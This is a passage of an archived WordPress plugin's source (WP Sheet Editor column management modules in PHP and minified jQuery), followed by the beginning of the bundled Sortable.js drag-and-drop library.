    $name = $value; } function __get( $name ) { return $this->$name; } } add_action( 'vg_sheet_editor/initialized', 'vgse_columns_manager_init' ); function vgse_columns_manager_init() { return WP_Sheet_Editor_Columns_Manager::get_instance(); } } modules/columns-renaming/assets/js/init.js000064400000002631147600365160014723 0ustar00jQuery(document).ready(function(){function o(e,t){var n=jQuery('.modal-columns-visibility .vgse-sorter .js-column-key[value="'+e+'"]').parent(),o=n.find(".js-column-title").val(),i=prompt(vgse_editor_settings.texts.enter_column_name,o);if(null===i||i===o)return!0;if(jQuery.post(vgse_global_data.ajax_url,{action:"vgse_rename_column",nonce:jQuery('.modal-columns-visibility input[name="wpsecv_nonce"]').val(),post_type:jQuery('.modal-columns-visibility input[name="wpsecv_post_type"]').val(),column_key:e,new_title:i},function(e){}),"undefined"!=typeof hot){var l=hot.propToCol(e),s=hot.getSettings().colHeaders;s[l]=i,hot.updateSettings({colHeaders:s})}return n.find(".js-column-title").val(i),n.find(".column-title").text(i),"function"==typeof t&&t(),!1}if(jQuery("body").on("click",".modal-columns-visibility .rename-column",function(e){return e.preventDefault(),o(jQuery(this).parent().find(".js-column-key").val()),!1}),"undefined"==typeof hot||!jQuery(".modal-columns-visibility").length)return!0;var e=hot.getSettings().contextMenu;void 0===e.items&&(e.items={}),e.items.wpse_rename_column={name:vgse_editor_settings.texts.enter_column_name,hidden:function(){if(!hot.getSelected())return!0;var e=hot.colToProp(hot.getSelected()[0][1]),t=vgse_editor_settings.final_spreadsheet_columns_settings[e];return t&&!t.allow_to_rename},callback:function(e,t,n){o(hot.colToProp(t[0].start.col))}},hot.updateSettings({contextMenu:e})});modules/columns-renaming/index.php000064400000000000147600365160013310 0ustar00modules/columns-renaming/columns-renaming.php000064400000007331147600365160015475 0ustar00init(); } return WP_Sheet_Editor_Columns_Renaming::$instance; } function init() { add_filter('vg_sheet_editor/columns/all_items', array($this, 'filter_columns_for_rename'), 10, 2); add_action('vg_sheet_editor/columns_visibility/enabled/after_column_action', array($this, 'render_rename_button'), 10, 2); add_action('vg_sheet_editor/after_enqueue_assets', array($this, 'enqueue_assets')); add_action('wp_ajax_vgse_rename_column', array($this, 'rename_column')); } /** * Enqueue frontend assets */ function enqueue_assets() { wp_enqueue_script('wp-sheet-editor-columns-renaming', plugins_url('/assets/js/init.js', __FILE__), array(), VGSE()->version); } function render_rename_button($column, $post_type) { if (!VGSE()->helpers->user_can_manage_options() || empty($column['allow_to_rename'])) { return; } ?> $name = $value; } function __get($name) { return $this->$name; } function rename_column() { if (empty($_REQUEST['post_type']) || empty($_REQUEST['column_key'])) { wp_send_json_error(array('message' => __('Missing parameters.', 'vg_sheet_editor' ))); } if (!VGSE()->helpers->verify_nonce_from_request() || !VGSE()->helpers->user_can_manage_options()) { wp_send_json_error(array('message' => __('You dont have enough permissions to execute this action.', 'vg_sheet_editor' ))); } $post_type = VGSE()->helpers->sanitize_table_key($_REQUEST['post_type']); $column_key = sanitize_text_field($_REQUEST['column_key']); $new_title = sanitize_text_field($_REQUEST['new_title']); $option_key = ( taxonomy_exists($column_key)) ? 'be_tax_txt_' . $column_key . '_' . $post_type : 'be_' . $column_key . '_txt_' . $post_type; VGSE()->update_option($option_key, $new_title); wp_send_json_success(); } /** * Rename columns * @param array $columns * @return array */ function filter_columns_for_rename($columns) { $options = VGSE()->options; if (empty($options)) { return $columns; } foreach ($columns as $post_type_key => $post_type_columns) { foreach ($post_type_columns as $key => $column) { if ($column['allow_to_rename']) { if (isset($options['be_' . $key . '_txt_' . $post_type_key]) && $options['be_' . $key . '_txt_' . $post_type_key]) { $columns[$post_type_key][$key]['title'] = $options['be_' . $key . '_txt_' . $post_type_key]; } elseif (isset($options['be_tax_txt_' . $key . '_' . $post_type_key]) && $options['be_tax_txt_' . $key . '_' . $post_type_key]) { $columns[$post_type_key][$key]['title'] = $options['be_tax_txt_' . $key . '_' . $post_type_key]; } } } } return $columns; } } add_action('vg_sheet_editor/initialized', 'vgse_columns_renaming_init'); function vgse_columns_renaming_init() { WP_Sheet_Editor_Columns_Renaming::get_instance(); } }modules/columns-resizing/assets/js/init.js000064400000001111147600365160014745 0ustar00jQuery(document).ready(function(){if("undefined"==typeof hot)return!1;hot.updateSettings({afterColumnResize:_throttle(function(){var e=hot.getPlugin("ManualColumnResize").manualColumnWidths,t=hot.getSettings().colWidths,a=jQuery.extend(!0,t,e),n=hot.getSettings().columns,o={};jQuery.each(n,function(e,t){o[t.data]=a[e]});var u=jQuery(".remodal-bg").data("nonce");jQuery.ajax({type:"POST",url:vgse_global_data.ajax_url,data:{action:"vgse_save_manual_column_resize",nonce:u,post_type:jQuery("#post-data").data("post-type"),sizes:o},dataType:"json",success:function(e){}})},15e3,!0)})});modules/columns-resizing/index.php000064400000000000147600365160013342 0ustar00modules/columns-resizing/columns-resizing.php000064400000006376147600365160015571 0ustar00= v2.0.0 add_filter('vg_sheet_editor/columns/provider_items', array($this, 'filter_columns_settings'), 20, 2); } /** * Modify spreadsheet columns settings. * * Add custom column sizes. * @param array $spreadsheet_columns * @param string $post_type * @param bool $exclude_formatted_settings * @return array */ function filter_columns_settings($spreadsheet_columns, $post_type) { $option = get_user_meta(get_current_user_id(), $this->db_key, true); if (empty($option) || empty($option[$post_type])) { return $spreadsheet_columns; } foreach ($option[$post_type] as $column_key => $column_width) { if (!isset($spreadsheet_columns[$column_key])) { continue; } $spreadsheet_columns[$column_key]['column_width'] = (int) $column_width; } return $spreadsheet_columns; } function enqueue_assets() { wp_enqueue_script('vgse-columns-resizing-init', plugins_url('/assets/js/init.js', __FILE__), array('bep_init_js'), VGSE()->version, false); } function save_manual_column_resize() { if (empty($_REQUEST['post_type']) || !is_array($_REQUEST['sizes']) || !VGSE()->helpers->verify_nonce_from_request() || !VGSE()->helpers->user_can_view_post_type($_REQUEST['post_type'])) { wp_send_json_error(array('message' => __('You dont have enough permissions to view this page.', 'vg_sheet_editor' ))); } $option = get_user_meta(get_current_user_id(), $this->db_key, true); if (empty($option)) { $option = array(); } $post_type = VGSE()->helpers->sanitize_table_key($_REQUEST['post_type']); $sizes = array(); foreach ($_REQUEST['sizes'] as $column_key => $size) { if ($size > 0) { $sizes[sanitize_text_field($column_key)] = (int) $size; } } $option[$post_type] = $sizes; update_user_meta(get_current_user_id(), $this->db_key, $option); wp_send_json_success(); } function allow_column_resize($args) { $args['manualColumnResize'] = true; return $args; } /** * Creates or returns an instance of this class. * * @return Foo A single instance of this class. */ static function get_instance() { if (null == VGSE_Columns_Resizing::$instance) { VGSE_Columns_Resizing::$instance = new VGSE_Columns_Resizing(); VGSE_Columns_Resizing::$instance->init(); } return VGSE_Columns_Resizing::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } add_action('vg_sheet_editor/initialized', 'vgse_columns_resizing_init'); function vgse_columns_resizing_init() { VGSE_Columns_Resizing::get_instance(); } }modules/columns-visibility/assets/js/init.js000064400000027450147600365160015320 0ustar00function vgseColumnsVisibilityUpdateHOT(e,i,n,t){var o=jQuery(".modal-columns-visibility form"),s=o.find(".columns-enabled li .js-column-key");!s.length&&window.vgseColumnsVisibilityEnabled&&(s=window.vgseColumnsVisibilityEnabled);var l=jQuery(".save_post_type_settings"),a=o.parents(".remodal").remodal(),r=o.find(".columns-enabled li .fa-refresh").parent(),u=!1;if(o.find('input[name="wpse_auto_reload_after_saving"]').val()&&(u=!0),r.length){var c=[];r.find(".column-title").each(function(){c.push(jQuery(this).text().trim())});var d=vgse_editor_settings.texts.confirm_column_reload_page.replace("{columns}",c.join(", "));confirm(d)&&(l.prop("checked",!0),u=!0,loading_ajax({estado:!0}))}if(!s.length)return loading_ajax({estado:!1}),"opened"===a.getState()&&a.close(),!1;if("undefined"!=typeof hot){window.vgseColumnsVisibilityEnabled=s,e=e||hot.getSettings().columns,i=i||vgse_editor_settings.colHeaders,n=n||vgse_editor_settings.colWidths;var m=[],v=[],p=[],y=[];e.forEach(function(e,t){e.vgOriginalIndex=t,m[e.data]=e},this);var g=o.find(".not-allowed-columns").val();vgse_editor_settings.columnsFormat.wpseBulkSelector&&(g="wpseBulkSelector,"+g),g=g.replace("ID,","").split(",");var f=[];if(s.each(function(){var e=jQuery(this).val();f.push(e)}),(f=g.concat(f)).forEach(function(e,t){m[e]&&(v.push(m[e]),p.push(i[e]),y.push(n[e]))},this),hot.updateSettings({columns:v,colHeaders:p,colWidths:y}),!l.is(":checked")||"softUpdate"===t)return loading_ajax({estado:!1}),"opened"===a.getState()&&a.close(),!1}var h=o.find("input,select,textarea").filter(function(){return!jQuery(this).parents(".vgse-sorter-section").length}).serializeArray();return h.push({name:"extra_data",value:JSON.stringify(formToObject("columns-manager-form"))}),u&&loading_ajax({estado:!0}),jQuery.post(o.attr("action"),h,function(e){var t=o.data("callback");t&&vgseExecuteFunctionByName(t,window,{response:e,form:o}),u&&window.location.href.indexOf("wpse_no_reload=1")<0&&window.location.reload()}),u||loading_ajax({estado:!1}),a&&"opened"===a.getState()&&a.close(),!1}function vgseColumnsVisibilityEqualizeHeight(){jQuery("#vgse-columns-enabled,#vgse-columns-disabled").css("height","");var e=jQuery("#vgse-columns-enabled").height(),t=jQuery("#vgse-columns-disabled").height(),i=te.end.col?e.end.col:e.start.col,i=e.start.col>e.end.col?e.start.col:e.end.col,n=[],o=t;o<=i;o++)n.push(o);n.forEach(function(e){var t=hot.colToProp(e);s.find('.columns-enabled .js-column-key[value="'+t+'"]').parent("li").appendTo(s.find(".columns-disabled"))})}),s.find(".save_post_type_settings").prop("checked",!0),s.find("form").submit(),notification({mensaje:vgse_editor_settings.texts.column_removed,tipo:"success",tiempo:4e4})}}},e.items.wpse_open_columns_visibility={name:vgse_editor_settings.texts.open_columns_visibility,callback:function(e,t,i){jQuery(".modal-columns-visibility").remodal().open()}},hot.updateSettings({contextMenu:e})}),jQuery(document).ready(function(){var o=jQuery(".lazy-modal-columns-visibility");if(!o.length)return!0;jQuery(".remodal-bg").data("nonce"),vgse_editor_settings.post_type;jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",type:"GET",data:{nonce:jQuery(".remodal-bg").data("nonce"),post_type:vgse_editor_settings.post_type,action:"vgse_load_columns_manager_content",is_editor_page:!0},success:function(e){if(e.success){var t=e.data.html;if(-1',t=t.replace(/<\!-- Insert extra buttons here with JS -->/g,i)}var n=jQuery(t);o.find(".modal-content").replaceWith(n.find(".modal-content")),o.removeClass("lazy-modal-columns-visibility"),vgseColumnsVisibilityInit(),vgseColumnsVisibilityEqualizeHeight(),vgseInitLazySelects()}}})});modules/columns-visibility/assets/vendor/Sortable/Sortable.js000064400000362026147600365160020565 0ustar00;;;/**! * Sortable 1.15.0 * @author RubaXa * @author owenm * @license MIT */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = global || self, global.Sortable = factory()); }(this, (function () { 'use strict'; function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) { symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); } keys.push.apply(keys, symbols); } return keys; } function _objectSpread2(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function (obj) { return typeof obj; }; } else { _typeof = function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread(); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) return _arrayLikeToArray(arr); } function _iterableToArray(iter) { if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i]; return arr2; } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var version = "1.15.0"; function userAgent(pattern) { if (typeof window !== 'undefined' && window.navigator) { return !! /*@__PURE__*/navigator.userAgent.match(pattern); } } var IE11OrLess = userAgent(/(?:Trident.*rv[ :]?11\.|msie|iemobile|Windows Phone)/i); var Edge = userAgent(/Edge/i); var FireFox = userAgent(/firefox/i); var Safari = userAgent(/safari/i) && !userAgent(/chrome/i) && !userAgent(/android/i); var IOS = userAgent(/iP(ad|od|hone)/i); var ChromeForAndroid = userAgent(/chrome/i) && userAgent(/android/i); var captureMode = { capture: false, passive: false }; function on(el, event, fn) { el.addEventListener(event, fn, !IE11OrLess && captureMode); } function off(el, event, fn) { el.removeEventListener(event, fn, !IE11OrLess && captureMode); } function matches( /**HTMLElement*/ el, /**String*/ selector) { if (!selector) return; selector[0] === '>' && (selector = selector.substring(1)); if (el) { try { if (el.matches) { return el.matches(selector); } else if (el.msMatchesSelector) { return el.msMatchesSelector(selector); } else if (el.webkitMatchesSelector) { return el.webkitMatchesSelector(selector); } } catch (_) { return false; } } return false; } function getParentOrHost(el) { return el.host && el !== document && el.host.nodeType ? el.host : el.parentNode; } function closest( /**HTMLElement*/ el, /**String*/ selector, /**HTMLElement*/ ctx, includeCTX) { if (el) { ctx = ctx || document; do { if (selector != null && (selector[0] === '>' ? el.parentNode === ctx && matches(el, selector) : matches(el, selector)) || includeCTX && el === ctx) { return el; } if (el === ctx) break; /* jshint boss:true */ } while (el = getParentOrHost(el)); } return null; } var R_SPACE = /\s+/g; function toggleClass(el, name, state) { if (el && name) { if (el.classList) { el.classList[state ? 'add' : 'remove'](name); } else { var className = (' ' + el.className + ' ').replace(R_SPACE, ' ').replace(' ' + name + ' ', ' '); el.className = (className + (state ? ' ' + name : '')).replace(R_SPACE, ' '); } } } function css(el, prop, val) { var style = el && el.style; if (style) { if (val === void 0) { if (document.defaultView && document.defaultView.getComputedStyle) { val = document.defaultView.getComputedStyle(el, ''); } else if (el.currentStyle) { val = el.currentStyle; } return prop === void 0 ? val : val[prop]; } else { if (!(prop in style) && prop.indexOf('webkit') === -1) { prop = '-webkit-' + prop; } style[prop] = val + (typeof val === 'string' ? '' : 'px'); } } } function matrix(el, selfOnly) { var appliedTransforms = ''; if (typeof el === 'string') { appliedTransforms = el; } else { do { var transform = css(el, 'transform'); if (transform && transform !== 'none') { appliedTransforms = transform + ' ' + appliedTransforms; } /* jshint boss:true */ } while (!selfOnly && (el = el.parentNode)); } var matrixFn = window.DOMMatrix || window.WebKitCSSMatrix || window.CSSMatrix || window.MSCSSMatrix; /*jshint -W056 */ return matrixFn && new matrixFn(appliedTransforms); } function find(ctx, tagName, iterator) { if (ctx) { var list = ctx.getElementsByTagName(tagName), i = 0, n = list.length; if (iterator) { for (; i < n; i++) { iterator(list[i], i); } } return list; } return []; } function getWindowScrollingElement() { var scrollingElement = document.scrollingElement; if (scrollingElement) { return scrollingElement; } else { return document.documentElement; } } /** * Returns the "bounding client rect" of given element * @param {HTMLElement} el The element whose boundingClientRect is wanted * @param {[Boolean]} relativeToContainingBlock Whether the rect should be relative to the containing block of (including) the container * @param {[Boolean]} relativeToNonStaticParent Whether the rect should be relative to the relative parent of (including) the contaienr * @param {[Boolean]} undoScale Whether the container's scale() should be undone * @param {[HTMLElement]} container The parent the element will be placed in * @return {Object} The boundingClientRect of el, with specified adjustments */ function getRect(el, relativeToContainingBlock, relativeToNonStaticParent, undoScale, container) { if (!el.getBoundingClientRect && el !== window) return; var elRect, top, left, bottom, right, height, width; if (el !== window && el.parentNode && el !== getWindowScrollingElement()) { elRect = el.getBoundingClientRect(); top = elRect.top; left = elRect.left; bottom = elRect.bottom; right = elRect.right; height = elRect.height; width = elRect.width; } else { top = 0; left = 0; bottom = window.innerHeight; right = window.innerWidth; height = window.innerHeight; width = window.innerWidth; } if ((relativeToContainingBlock || relativeToNonStaticParent) && el !== window) { // Adjust for translate() container = container || el.parentNode; // solves #1123 (see: https://stackoverflow.com/a/37953806/6088312) // Not needed on <= IE11 if (!IE11OrLess) { do { if (container && container.getBoundingClientRect && (css(container, 'transform') !== 'none' || relativeToNonStaticParent && css(container, 'position') !== 'static')) { var containerRect = container.getBoundingClientRect(); // Set relative to edges of padding box of container top -= containerRect.top + parseInt(css(container, 'border-top-width')); left -= containerRect.left + parseInt(css(container, 'border-left-width')); bottom = top + elRect.height; right = left + elRect.width; break; } /* jshint boss:true */ } while (container = container.parentNode); } } if (undoScale && el !== window) { // Adjust for scale() var elMatrix = matrix(container || el), scaleX = elMatrix && elMatrix.a, scaleY = elMatrix && elMatrix.d; if (elMatrix) { top /= scaleY; left /= scaleX; width /= scaleX; height /= scaleY; bottom = top + height; right = left + width; } } return { top: top, left: left, bottom: bottom, right: right, width: width, height: height }; } /** * Checks if a side of an element is scrolled past a side of its parents * @param {HTMLElement} el The element who's side being scrolled out of view is in question * @param {String} elSide Side of the element in question ('top', 'left', 'right', 'bottom') * @param {String} parentSide Side of the parent in question ('top', 'left', 'right', 'bottom') * @return {HTMLElement} The parent scroll element that the el's side is scrolled past, or null if there is no such element */ function isScrolledPast(el, elSide, parentSide) { var parent = getParentAutoScrollElement(el, true), elSideVal = getRect(el)[elSide]; /* jshint boss:true */ while (parent) { var parentSideVal = getRect(parent)[parentSide], visible = void 0; if (parentSide === 'top' || parentSide === 'left') { visible = elSideVal >= parentSideVal; } else { visible = elSideVal <= parentSideVal; } if (!visible) return parent; if (parent === getWindowScrollingElement()) break; parent = getParentAutoScrollElement(parent, false); } return false; } /** * Gets nth child of el, ignoring hidden children, sortable's elements (does not ignore clone if it's visible) * and non-draggable elements * @param {HTMLElement} el The parent element * @param {Number} childNum The index of the child * @param {Object} options Parent Sortable's options * @return {HTMLElement} The child at index childNum, or null if not found */ function getChild(el, childNum, options, includeDragEl) { var currentChild = 0, i = 0, children = el.children; while (i < children.length) { if (children[i].style.display !== 'none' && children[i] !== Sortable.ghost && (includeDragEl || children[i] !== Sortable.dragged) && closest(children[i], options.draggable, el, false)) { if (currentChild === childNum) { return children[i]; } currentChild++; } i++; } return null; } /** * Gets the last child in the el, ignoring ghostEl or invisible elements (clones) * @param {HTMLElement} el Parent element * @param {selector} selector Any other elements that should be ignored * @return {HTMLElement} The last child, ignoring ghostEl */ function lastChild(el, selector) { var last = el.lastElementChild; while (last && (last === Sortable.ghost || css(last, 'display') === 'none' || selector && !matches(last, selector))) { last = last.previousElementSibling; } return last || null; } /** * Returns the index of an element within its parent for a selected set of * elements * @param {HTMLElement} el * @param {selector} selector * @return {number} */ function index(el, selector) { var index = 0; if (!el || !el.parentNode) { return -1; } /* jshint boss:true */ while (el = el.previousElementSibling) { if (el.nodeName.toUpperCase() !== 'TEMPLATE' && el !== Sortable.clone && (!selector || matches(el, selector))) { index++; } } return index; } /** * Returns the scroll offset of the given element, added with all the scroll offsets of parent elements. * The value is returned in real pixels. * @param {HTMLElement} el * @return {Array} Offsets in the format of [left, top] */ function getRelativeScrollOffset(el) { var offsetLeft = 0, offsetTop = 0, winScroller = getWindowScrollingElement(); if (el) { do { var elMatrix = matrix(el), scaleX = elMatrix.a, scaleY = elMatrix.d; offsetLeft += el.scrollLeft * scaleX; offsetTop += el.scrollTop * scaleY; } while (el !== winScroller && (el = el.parentNode)); } return [offsetLeft, offsetTop]; } /** * Returns the index of the object within the given array * @param {Array} arr Array that may or may not hold the object * @param {Object} obj An object that has a key-value pair unique to and identical to a key-value pair in the object you want to find * @return {Number} The index of the object in the array, or -1 */ function indexOfObject(arr, obj) { for (var i in arr) { if (!arr.hasOwnProperty(i)) continue; for (var key in obj) { if (obj.hasOwnProperty(key) && obj[key] === arr[i][key]) return Number(i); } } return -1; } function getParentAutoScrollElement(el, includeSelf) { // skip to window if (!el || !el.getBoundingClientRect) return getWindowScrollingElement(); var elem = el; var gotSelf = false; do { // we don't need to get elem css if it isn't even overflowing in the first place (performance) if (elem.clientWidth < elem.scrollWidth || elem.clientHeight < elem.scrollHeight) { var elemCSS = css(elem); if (elem.clientWidth < elem.scrollWidth && (elemCSS.overflowX == 'auto' || elemCSS.overflowX == 'scroll') || elem.clientHeight < elem.scrollHeight && (elemCSS.overflowY == 'auto' || elemCSS.overflowY == 'scroll')) { if (!elem.getBoundingClientRect || elem === document.body) return getWindowScrollingElement(); if (gotSelf || includeSelf) return elem; gotSelf = true; } } /* jshint boss:true */ } while (elem = elem.parentNode); return getWindowScrollingElement(); } function extend(dst, src) { if (dst && src) { for (var key in src) { if (src.hasOwnProperty(key)) { dst[key] = src[key]; } } } return dst; } function isRectEqual(rect1, rect2) { return Math.round(rect1.top) === Math.round(rect2.top) && Math.round(rect1.left) === Math.round(rect2.left) && Math.round(rect1.height) === Math.round(rect2.height) && Math.round(rect1.width) === Math.round(rect2.width); } var _throttleTimeout; function throttle(callback, ms) { return function () { if (!_throttleTimeout) { var args = arguments, _this = this; if (args.length === 1) { callback.call(_this, args[0]); } else { callback.apply(_this, args); } _throttleTimeout = setTimeout(function () { _throttleTimeout = void 0; }, ms); } }; } function cancelThrottle() { clearTimeout(_throttleTimeout); _throttleTimeout = void 0; } function scrollBy(el, x, y) { el.scrollLeft += x; el.scrollTop += y; } function clone(el) { var Polymer = window.Polymer; var $ = window.jQuery || window.Zepto; if (Polymer && Polymer.dom) { return Polymer.dom(el).cloneNode(true); } else if ($) { return $(el).clone(true)[0]; } else { return el.cloneNode(true); } } function setRect(el, rect) { css(el, 'position', 'absolute'); css(el, 'top', rect.top); css(el, 'left', rect.left); css(el, 'width', rect.width); css(el, 'height', rect.height); } function unsetRect(el) { css(el, 'position', ''); css(el, 'top', ''); css(el, 'left', ''); css(el, 'width', ''); css(el, 'height', ''); } var expando = 'Sortable' + new Date().getTime(); function AnimationStateManager() { var animationStates = [], animationCallbackId; return { captureAnimationState: function captureAnimationState() { animationStates = []; if (!this.options.animation) return; var children = [].slice.call(this.el.children); children.forEach(function (child) { if (css(child, 'display') === 'none' || child === Sortable.ghost) return; animationStates.push({ target: child, rect: getRect(child) }); var fromRect = _objectSpread2({}, animationStates[animationStates.length - 1].rect); // If animating: compensate for current animation if (child.thisAnimationDuration) { var childMatrix = matrix(child, true); if (childMatrix) { fromRect.top -= childMatrix.f; fromRect.left -= childMatrix.e; } } child.fromRect = fromRect; }); }, addAnimationState: function addAnimationState(state) { animationStates.push(state); }, removeAnimationState: function removeAnimationState(target) { animationStates.splice(indexOfObject(animationStates, { target: target }), 1); }, animateAll: function animateAll(callback) { var _this = this; if (!this.options.animation) { clearTimeout(animationCallbackId); if (typeof callback === 'function') callback(); return; } var animating = false, animationTime = 0; animationStates.forEach(function (state) { var time = 0, target = state.target, fromRect = target.fromRect, toRect = getRect(target), prevFromRect = target.prevFromRect, prevToRect = target.prevToRect, animatingRect = state.rect, targetMatrix = matrix(target, true); if (targetMatrix) { // Compensate for current animation toRect.top -= targetMatrix.f; toRect.left -= targetMatrix.e; } target.toRect = toRect; if (target.thisAnimationDuration) { // Could also check if animatingRect is between fromRect and toRect if (isRectEqual(prevFromRect, toRect) && !isRectEqual(fromRect, toRect) && // Make sure animatingRect is on line between toRect & fromRect (animatingRect.top - toRect.top) / (animatingRect.left - toRect.left) === (fromRect.top - toRect.top) / (fromRect.left - toRect.left)) { // If returning to same place as started from animation and on same axis time = calculateRealTime(animatingRect, prevFromRect, prevToRect, _this.options); } } // if fromRect != toRect: animate if (!isRectEqual(toRect, fromRect)) { target.prevFromRect = fromRect; target.prevToRect = toRect; if (!time) { time = _this.options.animation; } _this.animate(target, animatingRect, toRect, time); } if (time) { animating = true; animationTime = Math.max(animationTime, time); clearTimeout(target.animationResetTimer); target.animationResetTimer = setTimeout(function () { target.animationTime = 0; target.prevFromRect = null; target.fromRect = null; target.prevToRect = null; target.thisAnimationDuration = null; }, time); target.thisAnimationDuration = time; } }); clearTimeout(animationCallbackId); if (!animating) { if (typeof callback === 'function') callback(); } else { animationCallbackId = setTimeout(function () { if (typeof callback === 'function') callback(); }, animationTime); } animationStates = []; }, animate: function animate(target, currentRect, toRect, duration) { if (duration) { css(target, 'transition', ''); css(target, 'transform', ''); var elMatrix = matrix(this.el), scaleX = elMatrix && elMatrix.a, scaleY = elMatrix && elMatrix.d, translateX = (currentRect.left - toRect.left) / (scaleX || 1), translateY = (currentRect.top - toRect.top) / (scaleY || 1); target.animatingX = !!translateX; target.animatingY = !!translateY; css(target, 'transform', 'translate3d(' + translateX + 'px,' + translateY + 'px,0)'); this.forRepaintDummy = repaint(target); // repaint css(target, 'transition', 'transform ' + duration + 'ms' + (this.options.easing ? ' ' + this.options.easing : '')); css(target, 'transform', 'translate3d(0,0,0)'); typeof target.animated === 'number' && clearTimeout(target.animated); target.animated = setTimeout(function () { css(target, 'transition', ''); css(target, 'transform', ''); target.animated = false; target.animatingX = false; target.animatingY = false; }, duration); } } }; } function repaint(target) { return target.offsetWidth; } function calculateRealTime(animatingRect, fromRect, toRect, options) { return Math.sqrt(Math.pow(fromRect.top - animatingRect.top, 2) + Math.pow(fromRect.left - animatingRect.left, 2)) / Math.sqrt(Math.pow(fromRect.top - toRect.top, 2) + Math.pow(fromRect.left - toRect.left, 2)) * options.animation; } var plugins = []; var defaults = { initializeByDefault: true }; var PluginManager = { mount: function mount(plugin) { // Set default static properties for (var option in defaults) { if (defaults.hasOwnProperty(option) && !(option in plugin)) { plugin[option] = defaults[option]; } } plugins.forEach(function (p) { if (p.pluginName === plugin.pluginName) { throw "Sortable: Cannot mount plugin ".concat(plugin.pluginName, " more than once"); } }); plugins.push(plugin); }, pluginEvent: function pluginEvent(eventName, sortable, evt) { var _this = this; this.eventCanceled = false; evt.cancel = function () { _this.eventCanceled = true; }; var eventNameGlobal = eventName + 'Global'; plugins.forEach(function (plugin) { if (!sortable[plugin.pluginName]) return; // Fire global events if it exists in this sortable if (sortable[plugin.pluginName][eventNameGlobal]) { sortable[plugin.pluginName][eventNameGlobal](_objectSpread2({ sortable: sortable }, evt)); } // Only fire plugin event if plugin is enabled in this sortable, // and plugin has event defined if (sortable.options[plugin.pluginName] && sortable[plugin.pluginName][eventName]) { sortable[plugin.pluginName][eventName](_objectSpread2({ sortable: sortable }, evt)); } }); }, initializePlugins: function initializePlugins(sortable, el, defaults, options) { plugins.forEach(function (plugin) { var pluginName = plugin.pluginName; if (!sortable.options[pluginName] && !plugin.initializeByDefault) return; var initialized = new plugin(sortable, el, sortable.options); initialized.sortable = sortable; initialized.options = sortable.options; sortable[pluginName] = initialized; // Add default options from plugin _extends(defaults, initialized.defaults); }); for (var option in sortable.options) { if (!sortable.options.hasOwnProperty(option)) continue; var modified = this.modifyOption(sortable, option, sortable.options[option]); if (typeof modified !== 'undefined') { sortable.options[option] = modified; } } }, getEventProperties: function getEventProperties(name, sortable) { var eventProperties = {}; plugins.forEach(function (plugin) { if (typeof plugin.eventProperties !== 'function') return; _extends(eventProperties, plugin.eventProperties.call(sortable[plugin.pluginName], name)); }); return eventProperties; }, modifyOption: function modifyOption(sortable, name, value) { var modifiedValue; plugins.forEach(function (plugin) { // Plugin must exist on the Sortable if (!sortable[plugin.pluginName]) return; // If static option listener exists for this option, call in the context of the Sortable's instance of this plugin if (plugin.optionListeners && typeof plugin.optionListeners[name] === 'function') { modifiedValue = plugin.optionListeners[name].call(sortable[plugin.pluginName], value); } }); return modifiedValue; } }; function dispatchEvent(_ref) { var sortable = _ref.sortable, rootEl = _ref.rootEl, name = _ref.name, targetEl = _ref.targetEl, cloneEl = _ref.cloneEl, toEl = _ref.toEl, fromEl = _ref.fromEl, oldIndex = _ref.oldIndex, newIndex = _ref.newIndex, oldDraggableIndex = _ref.oldDraggableIndex, newDraggableIndex 